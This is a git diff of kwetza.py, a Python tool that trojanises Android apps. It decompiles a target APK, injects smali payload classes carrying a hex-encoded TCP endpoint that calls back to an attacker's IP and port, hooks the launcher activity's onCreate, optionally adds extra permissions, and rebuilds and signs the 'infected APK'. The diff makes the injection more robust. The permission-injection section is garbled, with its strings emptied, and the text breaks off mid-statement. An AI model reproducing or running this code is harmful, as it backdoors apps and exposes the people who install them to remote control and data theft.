diff --git a/kwetza.py b/kwetza.py
index d7df935..362b32f 100644
--- a/kwetza.py
+++ b/kwetza.py
@@ -4,250 +4,290 @@
import os
from bs4 import BeautifulSoup as Soup
-activityToTarget=""
-targetFolder=""
-endpointIP=""
-endpintPort=""
-hexEndpoint=""
-facepalm=""
-cwd=""
+activityToTarget = ""
+targetFolder = ""
+endpointIP = ""
+endpintPort = ""
+hexEndpoint = ""
+facepalm = ""
+cwd = ""
+folderToCheck=""
+
def byteTheComms():
- print "[*] BYTING COMMS..."
- totalEndpointPlain="ZZZZtcp://"+endpointIP+":"+endpintPort
- endpointLength=len(totalEndpointPlain)
- global facepalm
- facepalm=hex(endpointLength)
- global hexEndpoint
- for val in totalEndpointPlain:
- hexEndpoint+=hex(ord(val))+"\n\t\t"
+ print "[*] BYTING COMMS..."
+ totalEndpointPlain = "ZZZZtcp://" + endpointIP + ":" + endpintPort
+ endpointLength = len(totalEndpointPlain)
+ global facepalm
+ facepalm = hex(endpointLength)
+ global hexEndpoint
+ for val in totalEndpointPlain:
+ hexEndpoint += hex(ord(val)) + "\n\t\t"
+
def initialize():
- print "[*] DECOMPILING TARGET APK"
- command = ["apktool", "--version"]
- p = subprocess.Popen(command, stdout=subprocess.PIPE)
- theResult = p.communicate()[0]
-
- global endpintPort
- global endpointIP
- endpointIP=sys.argv[2]
- endpintPort=sys.argv[3]
- global cwd
-
- print "[+] ENDPOINT IP: "+endpointIP
- print "[+] ENDPOINT PORT: "+endpintPort
-
- #CHECK IF APKTOOL IS INSTALLED
- if "2." not in theResult:
- print "[+] NO APKTOOL VERSION 2, PLEASE INSTALL APKTOOL 2 AND ADD TO PATH"
- sys.exit()
-
- cwd = os.getcwd()
-
- #NOW WE NEED TO DECOMPILE THE APPLICATION
- command = ["apktool", "d", ""+cwd+"/"+sys.argv[1]]
- p = subprocess.Popen(command, stdout=subprocess.PIPE)
- result = p.communicate()[0]
-
- if "error" in result:
- print "[+] APKTOOL DECOMPILE ERROR: ",result
- else:
- print "[+] APKTOOL DECOMPILED SUCCESS"
- #NOW WE SET THE TARGET FOLDER
- outputFolderName=sys.argv[1]
- intPoss=outputFolderName.index(".")
- global targetFolder
- targetFolder=cwd+"/"+outputFolderName[:intPoss]
+ print "[*] DECOMPILING TARGET APK"
+ command = ["apktool", "--version"]
+ p = subprocess.Popen(command, stdout=subprocess.PIPE)
+ theResult = p.communicate()[0]
+
+ global endpintPort
+ global endpointIP
+ endpointIP = sys.argv[2]
+ endpintPort = sys.argv[3]
+ global cwd
+
+ print "[+] ENDPOINT IP: " + endpointIP
+ print "[+] ENDPOINT PORT: " + endpintPort
+
+ # CHECK IF APKTOOL IS INSTALLED
+ if "2." not in theResult:
+ print "[+] NO APKTOOL VERSION 2, PLEASE INSTALL APKTOOL 2 AND ADD TO PATH"
+ sys.exit()
+
+ cwd = os.getcwd()
+
+ # NOW WE NEED TO DECOMPILE THE APPLICATION
+ command = ["apktool", "d", "" + cwd + "/" + sys.argv[1]]
+ p = subprocess.Popen(command, stdout=subprocess.PIPE)
+ result = p.communicate()[0]
+
+ if "error" in result:
+ print "[+] APKTOOL DECOMPILE ERROR: ", result
+ else:
+ print "[+] APKTOOL DECOMPILED SUCCESS"
+ # NOW WE SET THE TARGET FOLDER
+ outputFolderName = sys.argv[1]
+ intPoss = outputFolderName.rindex(".") # change to rindex to find the last dot not the first
+ global targetFolder
+ targetFolder = cwd + "/" + outputFolderName[:intPoss]
+
def parseAndroidManifext():
- print "[*] ANALYZING ANDROID MANIFEST"
- global targetFolder
- file = targetFolder+"/AndroidManifest.xml"
- handler = open(file).read()
- soup = Soup(handler,"lxml")
- activities= soup.find_all('activity-alias')
- activities+=soup.find_all('activity')
- foundLAUNCHER=0
- for activity in activities:
- if "LAUNCHER" in str(activity):
- foundLAUNCHER=1
- global activityToTarget
- if "android:targetactivity" in str(activity).lower():
- activityToTarget= str(activity['android:targetactivity'])
- elif "android:name" in str(activity).lower():
- activityToTarget= str(activity['android:name'])
- else:
- print "[+] ERROR IDENTIFYING ACTIVITY"
-
- if foundLAUNCHER==1:
- print "[+] TARGET ACTIVIY: "+activityToTarget
- else:
- print "[+] NO LAUNCHER FOUND!!!!!"
+ print "[*] ANALYZING ANDROID MANIFEST"
+ global targetFolder
+ file = targetFolder + "/AndroidManifest.xml"
+ handler = open(file).read()
+ soup = Soup(handler, "lxml")
+ manifest = soup.find('manifest')
+ # Get the package name in case the android:name contains only the class name
+ package = ""
+ if 'package' in str(manifest).lower():
+ package = str(manifest['package'])
+
+ activities = soup.find_all('activity-alias')
+ activities += soup.find_all('activity')
+ foundLAUNCHER = 0
+ for activity in activities:
+ if "LAUNCHER" in str(activity):
+ foundLAUNCHER = 1
+ global activityToTarget
+ if "android:targetactivity" in str(activity).lower():
+ activityToTarget = str(activity['android:targetactivity'])
+ elif "android:name" in str(activity).lower():
+ activityToTarget = str(activity['android:name'])
+ else:
+ print "[+] ERROR IDENTIFYING ACTIVITY"
+ if package != "":
+ if (activityToTarget.index(".") > 0) or activityToTarget.startswith(package[:package.index('.')]): # Check if package name does not need to be appended
+ pass
+ else:
+ if activityToTarget.startswith("."):
+ activityToTarget = package + activityToTarget # Append package name
+ else:
+ activityToTarget = package + "." + activityToTarget # Append package name plus a dot
+
+ if foundLAUNCHER == 1:
+ print "[+] TARGET ACTIVIY: " + activityToTarget
+ else:
+ print "[+] NO LAUNCHER FOUND!!!!!"
+
def readPayloads():
- global cwd
- pathToPalyoad1=cwd+"/"+"payload/AssistActivity1.smali"
- pathToPalyoad12=cwd+"/"+"payload/AssistActivity.smali"
- contentsOfFile1 = open(pathToPalyoad1).read()
- contentsOfFile2 = open(pathToPalyoad12).read()
- inject="L"+activityToTarget.replace('.','/')
- intPackagePos=inject.rfind('/')
- preppedContents1= contentsOfFile1.replace('PLACEHOLDER',inject[:intPackagePos])
- preppedContents2= contentsOfFile2.replace('PLACEHOLDER',inject[:intPackagePos])
- #inject the tcp endpoint here
- preppedContents2= preppedContents2.replace('FACEPALM',facepalm)
- preppedContents2= preppedContents2.replace('BEARDEDGREATNESS',hexEndpoint)
- targetDirectory=targetFolder+"/smali/"+activityToTarget.replace('.','/')
- targetDirectory=targetDirectory[:targetDirectory.rfind('/')]
-
- assist1File = open(targetDirectory+"/AssistActivity1.smali", "w")
- assist1File.write(preppedContents1)
- assist1File.close()
-
- assist2File = open(targetDirectory+"/AssistActivity.smali", "w")
- assist2File.write(preppedContents2)
- assist2File.close()
-
- pathToFile=targetFolder+"/smali/"+activityToTarget.replace('.','/')+'.smali'
- stringContentsOfTargetActivity=""
- stringContentsOfTargetActivity = open(pathToFile).read()
+ global cwd, folderToCheck
+ pathToPalyoad1 = cwd + "/" + "payload/AssistActivity1.smali"
+ pathToPalyoad12 = cwd + "/" + "payload/AssistActivity.smali"
+ contentsOfFile1 = open(pathToPalyoad1).read()
+ contentsOfFile2 = open(pathToPalyoad12).read()
+ inject = "L" + activityToTarget.replace('.', '/')
+ intPackagePos = inject.rfind('/')
+ preppedContents1 = contentsOfFile1.replace('PLACEHOLDER', inject[:intPackagePos])
+ preppedContents2 = contentsOfFile2.replace('PLACEHOLDER', inject[:intPackagePos])
+ # inject the tcp endpoint here
+ preppedContents2 = preppedContents2.replace('FACEPALM', facepalm)
+ preppedContents2 = preppedContents2.replace('BEARDEDGREATNESS', hexEndpoint)
+
+ # apktool might add decoded smali files multiple directories that start with the name smali like smali, smali_classes2
+ # Get all possible smali output directories and look for the launcher activity in all of those directories
+ items = os.listdir(targetFolder)
+ foldersToCheck = []
+ for item in items:
+ if item.startswith('smali'):
+ foldersToCheck.append(item)
+
+ #look for the launcher activity in all of those directories
+ for folder in foldersToCheck:
+ targetDirectory = os.path.join(targetFolder, folder) + "/" + activityToTarget.replace('.', '/')
+ print (targetDirectory, os.path.exists(targetDirectory + ".smali"))
+ if os.path.exists(targetDirectory + ".smali"):
+ folderToCheck = folder
+ targetDirectory = targetDirectory[:targetDirectory.rfind('/')]
+ assist1File = open(targetDirectory + "/AssistActivity1.smali", "w")
+ assist1File.write(preppedContents1)
+ assist1File.close()
+
+ assist2File = open(targetDirectory + "/AssistActivity.smali", "w")
+ assist2File.write(preppedContents2)
+ assist2File.close()
+
+ pathToFile = os.path.join(targetFolder, folder) + "/" + activityToTarget.replace('.', '/') + '.smali'
+ stringContentsOfTargetActivity = ""
+ stringContentsOfTargetActivity = open(pathToFile).read()
+ break
+
def injectIntoActivity():
- print "[*] INJECTING INTO APK..."
- global targetFolder
- checkStrings=['create','method']
-
- pathToFile=targetFolder+"/smali/"+activityToTarget.replace('.','/')+'.smali'
- #NOW WE NEED TO INJECT THE CALLING CODE INTO THE TARGET ACTIVITY
- stringInvokePayload='\ninvoke-static {p0}, INJECT/AssistActivity;->doThis(Landroid/content/Context;)V\n'
- inject="L"+activityToTarget.replace('.','/')
- intPackagePos=inject.rfind('/')
- stringPackageToInject=inject[:intPackagePos]
- stringInvokePayload=stringInvokePayload.replace('INJECT',stringPackageToInject);
- f = open(pathToFile,'r')
- stringDataToWriteIntoNewActivity=""
- for line in f.readlines():
- stringDataToWriteIntoNewActivity+=line
- if all(x in line.lower() for x in checkStrings):
- stringDataToWriteIntoNewActivity+=stringInvokePayload
- f.close()
- pathToFile=targetFolder+"/smali/"+activityToTarget.replace('.','/')+'.smali'
- newInjectFile = open(pathToFile, "w")
- newInjectFile.write(stringDataToWriteIntoNewActivity)
- newInjectFile.close()
+ print "[*] INJECTING INTO APK..."
+ global targetFolder,folderToCheck
+ # better way to get oncreate method
+ checkStrings = ['oncreate', 'method', 'bundle']
+
+ #launcher activity path determined in readPayloads method
+ pathToFile = os.path.join(targetFolder, folderToCheck) + "/" + activityToTarget.replace('.', '/') + '.smali'
+ # NOW WE NEED TO INJECT THE CALLING CODE INTO THE TARGET ACTIVITY
+ stringInvokePayload = '\ninvoke-static {p0}, INJECT/AssistActivity;->doThis(Landroid/content/Context;)V\n'
+ inject = "L" + activityToTarget.replace('.', '/')
+ intPackagePos = inject.rfind('/')
+ stringPackageToInject = inject[:intPackagePos]
+ stringInvokePayload = stringInvokePayload.replace('INJECT', stringPackageToInject);
+ f = open(pathToFile, 'r')
+ stringDataToWriteIntoNewActivity = ""
+ for line in f.readlines():
+ stringDataToWriteIntoNewActivity += line
+ if all(x in line.lower() for x in checkStrings):
+ stringDataToWriteIntoNewActivity += stringInvokePayload
+ f.close()
+ pathToFile = os.path.join(targetFolder, folderToCheck) + "/" + activityToTarget.replace('.', '/') + '.smali'
+ newInjectFile = open(pathToFile, "w")
+ newInjectFile.write(stringDataToWriteIntoNewActivity)
+ newInjectFile.close()
+
def buildAgain():
- print "[+] TIME TO BUILD INFECTED APK..."
- #name of the APK we are targeting
- stringNameOfAPK=sys.argv[1]
- #the path to our freshly built apk
- pathToNewApk=targetFolder+"/dist/"+stringNameOfAPK
- #the apktool command to rebuild our target app
- stringApkToolBuildCommand= ["apktool","b",targetFolder]
- #jarsigner command to sign our freshly built apk
- stringJarSignerCommand=["jarsigner", "-keystore", cwd+"/"+"payload/mykey.keystore", pathToNewApk, "alias_name", "-sigalg", "MD5withRSA", "-digestalg", "SHA1"]
- #time to execute the build command
- print "[*] EXECUTING APKTOOL BUILD COMMAND..."
- p = subprocess.Popen(stringApkToolBuildCommand, stdout=subprocess.PIPE)
- buildResult = p.communicate()[0]
- print "[+] BUILD RESULT"
- print "#####################################"
- print buildResult
- print "#####################################"
- #time to execute the jarsigner command
- print "[*] EXECUTING JARSIGNER COMMAND..."
- p = subprocess.Popen(stringJarSignerCommand, stdout=subprocess.PIPE)
- jarsignerResult = p.communicate()[0]
- print "[+] JARSIGNER RESULT"
- print "#####################################"
- print jarsignerResult
- print "#####################################"
- print "\n[+] L00t located at "+targetFolder+"/dist/"+sys.argv[1]
+ print "[+] TIME TO BUILD INFECTED APK..."
+ # name of the APK we are targeting
+ stringNameOfAPK = sys.argv[1]
+ # the path to our freshly built apk
+ pathToNewApk = targetFolder + "/dist/" + stringNameOfAPK
+ # the apktool command to rebuild our target app
+ stringApkToolBuildCommand = ["apktool", "b", targetFolder]
+ # jarsigner command to sign our freshly built apk
+ # jarsigner added -storepass to automatically insert the password
+ stringJarSignerCommand = ["jarsigner", "-keystore", cwd + "/" + "payload/mykey.keystore", pathToNewApk,
+ "alias_name", "-sigalg", "MD5withRSA", "-digestalg", "SHA1", '-storepass', 'password']
+ # time to execute the build command
+ print "[*] EXECUTING APKTOOL BUILD COMMAND..."
+ p = subprocess.Popen(stringApkToolBuildCommand, stdout=subprocess.PIPE)
+ buildResult = p.communicate()[0]
+ print "[+] BUILD RESULT"
+ print "#####################################"
+ print buildResult
+ print "#####################################"
+ # time to execute the jarsigner command
+ print "[*] EXECUTING JARSIGNER COMMAND..."
+ p = subprocess.Popen(stringJarSignerCommand, stdout=subprocess.PIPE)
+ jarsignerResult = p.communicate()[0]
+ print "[+] JARSIGNER RESULT"
+ print "#####################################"
+ print jarsignerResult
+ print "#####################################"
+ print "\n[+] L00t located at " + targetFolder + "/dist/" + sys.argv[1]
+
def injectCrazyPermissions():
- print "[+] CHECKING IF ADDITIONAL PERMS TO BE ADDED"
-
- if "yes" in sys.argv[4]:
- print "[*] INJECTION OF CRAZY PERMISSIONS TO BE DONE!"
- stringCrazyPermissions='\n'
- stringCrazyPermissions+='\n'
- stringCrazyPermissions+='\n'
- stringCrazyPermissions+='\n'
- stringCrazyPermissions+='\n'
- stringCrazyPermissions+='\n'
- stringCrazyPermissions+='\n'
- stringCrazyPermissions+='\n'
- stringCrazyPermissions+='\n'
- stringCrazyPermissions+='\n'
- stringCrazyPermissions+='\n'
- stringCrazyPermissions+='\n'
- stringCrazyPermissions+='\n'
- stringCrazyPermissions+='\n'
- stringCrazyPermissions+='\n'
- stringCrazyPermissions+='\n"\n'
-
- global targetFolder
- checkString="'
+ stringCrazyPermissions += '\n'
+ stringCrazyPermissions += '\n'
+ stringCrazyPermissions += '\n'
+ stringCrazyPermissions += '\n'
+ stringCrazyPermissions += '\n'
+ stringCrazyPermissions += '\n'
+ stringCrazyPermissions += '\n'
+ stringCrazyPermissions += '\n'
+ stringCrazyPermissions += '\n'
+ stringCrazyPermissions += '\n'
+ stringCrazyPermissions += '\n'
+ stringCrazyPermissions += '\n'
+ stringCrazyPermissions += '\n'
+ stringCrazyPermissions += '\n"\n'
+
+ global targetFolder
+ checkString = "